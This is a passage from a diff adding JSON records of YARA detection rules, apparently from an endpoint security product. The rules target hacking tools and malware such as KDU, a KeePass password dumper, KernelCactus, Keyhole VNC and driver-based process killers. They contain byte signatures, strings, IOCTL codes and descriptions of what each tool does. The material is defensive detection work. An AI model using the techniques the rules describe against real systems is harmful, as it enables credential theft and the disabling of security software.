SYS_NTPROTECTEDVIRTUALMEMORY\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "kaynldr"
+  ],
+  "rule_creation_date": "2025-05-22",
+  "rule_modified_date": "2025-06-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.KaynLdr"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1129",
+    "attack.t1620",
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-kdu_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567658Z",
+  "creation_date": "2026-03-23T11:46:25.567660Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567665Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/KDU"
+  ],
+  "name": "kdu.yar",
+  "content": "rule kernel_driver_utility {\n    meta:\n        title = \"Kernel Driver Utility HackTool\"\n        id = \"ae3710a2-3040-41f0-850f-1045c36cefac\"\n        description = \"Detects the Kernel Driver Utility (KDU) hacktool targeting the Windows Kernel.\\nKernel Driver Utility (KDU) is a tool designed to interact with vulnerable kernel drivers. It can disable Driver Signature Enforcement, launch processes with PPL (Protected Process Light) privileges, dump memory from any process at the kernel level, and execute shellcode in Kernel Mode.\"\n        references = \"https://github.com/hfiref0x/KDU\"\n        date = \"2024-04-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1014;attack.t1562.001\"\n        classification = \"Windows.HackTool.KernelDriverUtility\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 356f102057cfcbe6f000398a1278f80acfabcb88bcf8fcef09d912977f3cd3b0\n\n        // Match Page Walk function with hardcoded value\n        $s_stub_page_walk = {\n            00 f0 ff ff ff ff 0f 00         // mov     r12, 0xffffffffff000\n            [2-6]                           // and     rdx, r12\n            27 00 00 00                     // mov     edi, 0x27\n            [80-100]\n            4? b? 00 00 e0 ff ff ff 0f 00   // mov     rcx, 0xfffffffe00000\n            4? 2? ??                        // and     rdx, rcx\n            ?? ?? ff ff 1f 00               // and     ebx, 0x1fffff\n            e? ??                           // jmp     0x14000e38e\n            4? b? 00 00 00 c0 ff ff 0f 00   // mov     rax, 0xfffffc0000000\n            4? 2? ??                        // and     rdx, rax\n            ?? ?? ff ff ff 3f               // and     ebx, 0x3fffffff\n        }\n\n        // Match shellcode function with hardcoded value\n        $s_stub_shellcode = {\n                4? b? 88 77 66 55 44 33 22 11       // mov     rax, 0x1122334455667788\n                4? b? 11 22 33 44 55 66 77 88       // mov     rdx, 0x8877665544332211\n                4? 33 ??                            // xor     rax, rdx  {0x9955551111555599}\n                4? ?? ??                            // mov     rdi, rax  {0x9955551111555599}\n                4? b? 88 77 66 55 44 33 22 11       // mov     rsi, 0x1122334455667788\n                4? b? 11 22 33 44 55 66 77 88       // mov     rdx, 0x8877665544332211\n                4? 33 ??                            // xor     rsi, rdx  {0x9955551111555599}\n                4? 33 ??                            // xor     rcx, rcx  {0x0}\n                [10-16]\n                4? b? 88 77 66 55 44 33 22 11       // mov     rax, 0x1122334455667788\n                4? b? 11 22 33 44 55 66 77 88       // mov     rdx, 0x8877665544332211\n                4? 33 ??                            // xor     rax, rdx  {0x9955551111555599}\n                4? b? 88 77 66 55 44 33 22 11       // mov     rcx, 0x1122334455667788\n                4? b? 11 22 33 44 55 66 77 88       // mov     rdx, 0x8877665544332211\n                [6-12]\n                4? b? 88 77 66 55 44 33 22 11       // mov     rax, 0x1122334455667788\n                4? b? 11 22 33 44 55 66 77 88       // mov     rcx, 0x8877665544332211\n        }\n\n    condition:\n        1 of ($s_stub_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "kernel_driver_utility"
+  ],
+  "rule_creation_date": "2024-04-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.KernelDriverUtility"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1014"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-keepass_dumper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582264Z",
+  "creation_date": "2026-03-23T11:46:25.582266Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582272Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/vdohney/keepass-password-dumper\nhttps://github.com/CTM1/CVE-2023-32784-keepass-linux\nhttps://github.com/Orange-Cyberdefense/KeePwn"
+  ],
+  "name": "keepass_dumper.yar",
+  "content": "import \"pe\"\n\nrule keepass_dumper {\n    meta:\n        title = \"Keepass Password Dumper HackTool\"\n        id = \"d475e2c1-ea8f-4ef2-9c0c-2c04ca5af590\"\n        description = \"Detects vdohney's open-source application exploiting CVE-2023-32748.\\nThis application enables attackers to extract the master password from KeePass <2.53 by searching for residual characters in process memory.\\nIt is recommended to ensure that all instances of KeePass are updated to versions 2.53 or later to mitigate this vulnerability.\"\n        references = \"https://github.com/vdohney/keepass-password-dumper\\nhttps://github.com/CTM1/CVE-2023-32784-keepass-linux\\nhttps://github.com/Orange-Cyberdefense/KeePwn\"\n        date = \"2023-09-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.005\"\n        classification = \"Windows.HackTool.KeePassDump\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 66c5017dcb9adb769e0c25f4dd3eda4ac2d7fcdce37d7cb895e52b2608264ffe\n        // a45510b16627aa1ddb14b44466a62d854f3071f98dee375f97247e2876c35ef9\n\n        $vdohney_1 = \"Password candidates (character positions):\" wide fullword\n        $vdohney_2 = \"Unknown characters are displayed as \\\"\" wide fullword\n        $vdohney_3 = \"possible passwords saved in\" wide\n        $vdohney_4 = \". Unknown characters indicated as\"\n\n    condition:\n        (uint16(0) == 0x5a4d and all of ($vdohney*)) or\n        pe.version_info[\"CompanyName\"] contains \"keepass_password_dumper\" or\n        pe.version_info[\"FileDescription\"] contains \"keepass_password_dumper\" or\n        pe.version_info[\"ProductName\"] contains \"keepass_password_dumper\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "keepass_dumper"
+  ],
+  "rule_creation_date": "2023-09-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.KeePassDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-kernelcactus_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571286Z",
+  "creation_date": "2026-03-23T11:46:25.571288Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571294Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/SpikySabra/Kernel-Cactus"
+  ],
+  "name": "kernelcactus.yar",
+  "content": "rule kernelcactus {\n    meta:\n        title = \"KernelCactus Tool\"\n        id = \"b7a34f71-8f63-4381-8659-1a02e92dc940\"\n        description = \"Detects KernelCactus, a tool designed to exploit CVE-2021-21551 (Dell vulnerable driver) to perform various Ring0 attacks.\\nKernelCactus is a tool used for kernel-level attacks that leverage the Dell vulnerable driver to gain high-level privileges. The tool is often associated with privilege escalation and attack techniques such as recredentialing and kernel code injection.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/SpikySabra/Kernel-Cactus\"\n        date = \"2022-10-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;attack.defense_evasion;attack.t1211\"\n        classification = \"Windows.Tool.KernelCactus\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 04b2f45cd58f86bc771a28834824491ffcf947647dbc56e7ab952f193220c1ee\n\n        $s1 = \"NtoskrnlCSV.csv\" fullword wide\n        $s2 = \"\\\\\\\\.\\\\DBUtil_2_3\" fullword wide\n        $s3 = \"[!] Offset CSV file connot be opened\" fullword wide\n        $s4 = \"NtoskrnlCSV.csv\" fullword wide\n        $s5 = \"[#]Stealing Token from: \" fullword ascii\n        $s6 = \"[#]Hi Jack...How Are you?\" fullword ascii\n\n    condition:\n        all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "kernelcactus"
+  ],
+  "rule_creation_date": "2022-10-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.KernelCactus"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1211",
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-keyhole_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573424Z",
+  "creation_date": "2026-03-23T11:46:25.573426Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573432Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/walmartglobaltech/keyhole-analysis-60302922aa03\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole\nhttps://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/\nhttps://www.trendmicro.com/fr_fr/research/25/b/black-basta-cactus-ransomware-backconnect.html"
+  ],
+  "name": "keyhole.yar",
+  "content": "rule keyhole_vnc {\n    meta:\n        title = \"Keyhole VNC Module\"\n        id = \"8c1de7f4-98d4-44e1-8da1-c851265cc149\"\n        description = \"Detects the Keyhole VNC module, also known as BackConnect module.\\nKeyhole is a multi-functional backconnect component used to establish and maintain persistence over compromised systems.\\nThis module has been used in the past by ransomware groups and is related to trojans like IcedID, Qakbot, TrickBot and Latrodectus.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://medium.com/walmartglobaltech/keyhole-analysis-60302922aa03\\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.keyhole\\nhttps://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/\\nhttps://www.trendmicro.com/fr_fr/research/25/b/black-basta-cactus-ransomware-backconnect.html\"\n        date = \"2025-07-09\"\n        modified = \"2025-08-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.t1018;attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1095;attack.lateral_movement;attack.t1021.005\"\n        classification = \"Windows.Trojan.Keyhole\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // f86ca3b45eb5d1d0e35d44879773d0d335e8ee1fc58737e3ee27a1335aaea984\n        // c1bef81621e6d9188170cb1bb2c55930b00a8d946e03bdb788bb123f59ee8e97\n\n        $s1 = \"hdesk\" ascii fullword\n        $s2 = \"{%0.8X-%0.4X-%0.4X-%0.4X-%0.4X%0.8X}\" ascii fullword\n        $s3 = \"__compat_layer\" ascii fullword\n        $s4 = \"divice not readed\" ascii fullword\n        $s5 = \"MS Shell Dlg\" ascii fullword\n        $s6 = \"Chrome_WidgetWin_\" ascii\n        $s7 = \"-err-\" ascii fullword\n        $s8 = \"AD not found\" ascii\n        $s9 = \"Grayscale\" wide fullword\n        $s10 = \"High Definition Audio\" wide fullword\n\n        $loader = {\n            78 09                               // js      short loc_B\n            74 07                               // jz      short loc_B\n            73 05                               // jnb     short loc_B\n            EB 03                               // jmp     short loc_B\n            39 41 61                            // cmp     [rcx+61h], eax\n\n                                        // loc_B:\n            52                                  // push    rdx\n            9C                                  // pushfq\n        }\n\n        $x_decrypt_strings = {\n            0F B7 04 24                         // movzx   eax, [rsp+18h+var_18]\n            0F B7 4C 24 04                      // movzx   ecx, [rsp+18h+var_14]\n            3B C1                               // cmp     eax, ecx\n            7D 3C                               // jge     short loc_175F9\n            8B 44 24 08                         // mov     eax, [rsp+18h+var_10]\n            C1 E8 03                            // shr     eax, 3\n        }\n\n        $x_commands = {\n            C1 C0 07                            // rol     eax, 7\n            FF C0                               // inc     eax\n            30 45 E5                            // xor     byte ptr [rbp+var_1C+1], al\n            C1 C0 07                            // rol     eax, 7\n            83 C0 02                            // add     eax, 2\n            30 45 E6                            // xor     byte ptr [rbp+var_1C+2], al\n            C1 C0 07                            // rol     eax, 7\n            83 C0 03                            // add     eax, 3\n        }\n\n        $x_console_command = {\n            3C 63                               // cmp     al, 63h\n            75 09                               // jnz     short loc_4A22\n            48 8B ?? ?? ?? ?? 00                // mov     rcx, cs:commad_cmd\n            EB 0F                               // jmp     short loc_4A31\n\n                                        // loc_4A22:\n            3C 70                               // cmp     al, 70h\n            0F 85 ?? ?? 00 00                   // jnz     loc_4BBB\n            48 8B ?? ?? ?? ?? 00                // mov     rcx, cs:commad_powershell\n\n                                        // loc_4A31:\n            48 85 C9                            // test    rcx, rcx\n        }\n\n        $x_get_information = {\n            FF 15 ?? ?? ?? 00                   // call    cs:GetNativeSystemInfo\n            66 83 ?? ?? ?? 09                   // cmp     word ptr [rsp+390h+var_350], 9\n            B8 20 00 00 00                      // mov     eax, 20h\n            B9 40 00 00 00                      // mov     ecx, 40h\n            0F 44 C1                            // cmovz   eax, ecx\n            88 05 ?? ?? 01 00                   // mov     cs:SystemBitness, al\n        }\n\n    condition:\n        all of ($s*) or $loader or 1 of ($x_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "keyhole_vnc"
+  ],
+  "rule_creation_date": "2025-07-09",
+  "rule_modified_date": "2025-08-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Keyhole"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1095",
+    "attack.t1027",
+    "attack.t1021.005",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-killers-avast_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581765Z",
+  "creation_date": "2026-03-23T11:46:25.581767Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581773Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xalicex/Killers/tree/main/avast/\nhttps://www.loldrivers.io/drivers/57fc510a-e649-4599-b83e-8f3605e3d1d9/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "killers-avast.yar",
+  "content": "rule killers_avast {\n    meta:\n        title = \"Killers-Avast HackTool\"\n        id = \"bb2d61f4-4f05-40aa-bf59-9d760624f973\"\n        description = \"Detects Killers-Avast, a tool that uses the aswArPot.sys vulnerable driver to terminate protected processes.\\nThis tool loads the aswArPot.sys driver, then leverages its functionalities to kill the specified processes.\"\n        references = \"https://github.com/xalicex/Killers/tree/main/avast/\\nhttps://www.loldrivers.io/drivers/57fc510a-e649-4599-b83e-8f3605e3d1d9/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.KillersAvast\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 35c317b635dd448c4a07afc5b989a5fce9fc0d359737f949008f75828befd707\n\n        $device_01 = \"\\\\\\\\.\\\\aswSP_Avar\" wide ascii\n        $device_02 = \"\\\\\\\\.\\\\avgSP_Avar\" wide ascii\n        $s_winapi_01 = \"CreateFile\" wide ascii\n        $s_winapi_02 = \"DeviceIoControl\" wide ascii\n        $s_IOCTL_kill = { (99 88 c0 94|94 c0 88 99) }\n\n    condition:\n        1 of ($device_*)\n        and all of ($s_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "killers_avast"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.KillersAvast"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-killers-powertool_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568148Z",
+  "creation_date": "2026-03-23T11:46:25.568151Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568160Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xalicex/Killers/tree/main/PowerTool/\nhttps://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "killers-powertool.yar",
+  "content": "rule killers_powertool {\n    meta:\n        title = \"Killers-PowerTool HackTool\"\n        id = \"749b27a8-d75f-4f5b-b834-73a19aedc979\"\n        description = \"Detects Killers-PowerTool, a tool that uses the KevP64.sys vulnerable driver to terminate protected processes.\\nThe tool loads the KevP64.sys driver and uses it to kill specified processes, often to disrupt legitimate software or system components.\"\n        references = \"https://github.com/xalicex/Killers/tree/main/PowerTool/\\nhttps://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.KillersPowerTool\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // ff073d9bbb5e4fe3622ac1c10ad1f8475b97f7874825d42893db418cd99bc5ea\n\n        $device = \"\\\\\\\\.\\\\KevP64\" wide ascii\n        $winapi_01 = \"CreateFile\" wide ascii\n        $winapi_02 = \"DeviceIoControl\" wide ascii\n        $IOCTL_kill = { (22 20 34|34 20 22) }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "killers_powertool"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.KillersPowerTool"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-knotweed_obfuscated_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568451Z",
+  "creation_date": "2026-03-23T11:46:25.568453Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568459Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\nhttps://attack.mitre.org/techniques/T1204/002/\nhttps://attack.mitre.org/techniques/T1027/009/"
+  ],
+  "name": "knotweed_obfuscated_loader.yar",
+  "content": "rule knotweed_obfuscated_loader {\n    meta:\n        title = \"Knotweed Obfuscated Loader\"\n        id = \"402eb440-983c-4dfa-9707-9bb2c77463e4\"\n        description = \"Detects Knotweed (aka Denim Tsunami, DSIRF) obfuscated loader.\\nKnotweed is a threat actor known for providing malicious capabilities as a service. Their infection chain typically involves malicious documents and obfuscated shellcode loaders to achieve evasive execution on targeted systems.\\nThis rule focuses on detecting loaders such as CORELUMP and JUMPLUMP, which are generated by a custom obfuscation tool.\\nThese loaders leave unique, singular names in memory during execution, making them distinctive indicators of compromise.\"\n        references = \"https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\\nhttps://attack.mitre.org/techniques/T1204/002/\\nhttps://attack.mitre.org/techniques/T1027/009/\"\n        date = \"2023-12-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1204.002;attack.defense_evasion;attack.t1027.009\"\n        classification = \"Windows.Loader.KnotweedObfuscated\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // fa30be45c5c5a8f679b42ae85410f6099f66fe2b38eb7aa460bcc022babb41ca\n        // e64bea4032cf2694e85ede1745811e7585d3580821a00ae1b9123bb3d2d442d6\n        // c96ae21b4cf2e28eec222cfe6ca903c4767a068630a73eca58424f9a975c6b7d\n\n        $o1 = \".?AVmodbuf@@\" ascii fullword\n        $o2 = \".?AVrc4@@\" ascii fullword\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "knotweed_obfuscated_loader"
+  ],
+  "rule_creation_date": "2023-12-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.KnotweedObfuscated"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.009",
+    "attack.t1204.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-koadic_mimishim_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
